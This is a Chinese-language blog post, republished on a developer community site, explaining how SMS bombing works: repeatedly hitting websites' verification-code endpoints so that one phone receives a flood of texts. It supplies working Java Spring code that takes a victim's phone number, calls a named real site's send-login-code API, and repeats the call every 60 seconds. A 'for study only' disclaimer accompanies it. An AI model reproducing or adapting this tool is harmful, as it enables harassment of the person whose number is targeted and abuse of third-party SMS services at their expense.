前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >短信轰炸是怎么做的?

短信轰炸是怎么做的?

作者头像
卷福同学
发布2023-04-28 12:00:24
4.9K0
发布2023-04-28 12:00:24
举报
文章被收录于专栏:奶奶看了都会奶奶看了都会

今天看到个新闻,如下,网购给差评后遭遇短信轰炸

新闻就不谈论了啊,今天就聊聊短信轰炸。

短信轰炸顾名思义就是给你发一堆垃圾短信,让你烦恼😡

今天小卷就来弄一弄短信轰炸的原理是啥

短信轰炸原理

小卷谷歌了几个在线短信轰炸的网站,找了几个后才终于找到个能用的,如图启动后,小卷的手机开始收到各种乱七八糟的短信了。看了半天,都是些验证码。。。

于是得出结论:短信轰炸其实就是请求各种网站的发送验证码接口,给你的手机不停发验证码短信

动手做一个

弄懂了原理后,我们也能自己动手操作一番了。本文所有内容仅供学习使用,请私用,勿用于其他用途。

  • • 首先找一个网站能发验证码的接口
  • • 开发代码,不停调用即可

1.找个发短信的接口

这里小卷找了个验证码短信接口(现在的网站为了防刷,通常发验证码短信前还需要再验证一次的,所以不太好找)

如图所示,网站只要输个手机号就能发送验证码短信了

2.开发工作

小卷之前的文章有教大家怎么薅京豆羊毛[奶奶看了都会]京东自动签到薅羊毛-完整教程

直接复用之前的HttpUtil类,通过Get请求一遍接口即可,为了能一直轰炸,设置为每隔60s重新再请求一次。

代码语言:javascript
复制

    ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor();

    @GetMapping("/smsbombing/start")
    public String smsbombingStart(String phoneNum) {
        //发送短信验证码的接口
        String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined";
        String apiString = String.format(api, phoneNum);
        RequestSms requestSms = new RequestSms(apiString);
        //开始轰炸,每隔60s发一次
        timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS);
        return "执行完成";
    }

    @GetMapping("/smsbombing/stop")
    public String smsbombingStop() {
        timer.shutdown();
        return "执行完成";
    }

    protected class RequestSms implements Runnable {
        private String apiString;
        RequestSms(){}
        RequestSms(String apiString){
            this.apiString = apiString;
        }

        @Override
        public void run() {
            try {
                String response = OkHttpUtils.get(apiString);
                log.info("短信轰炸执行,response:{}", response);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

后面手机就会收到短信了

所有内容仅供学习用哦~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-10-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卷福同学 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 短信轰炸原理
  • 动手做一个
    • 1.找个发短信的接口
      • 2.开发工作
      相关产品与服务
      短信
      腾讯云短信(Short Message Service,SMS)可为广大企业级用户提供稳定可靠,安全合规的短信触达服务。用户可快速接入,调用 API / SDK 或者通过控制台即可发送,支持发送验证码、通知类短信和营销短信。国内验证短信秒级触达,99%到达率;国际/港澳台短信覆盖全球200+国家/地区,全球多服务站点,稳定可靠。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档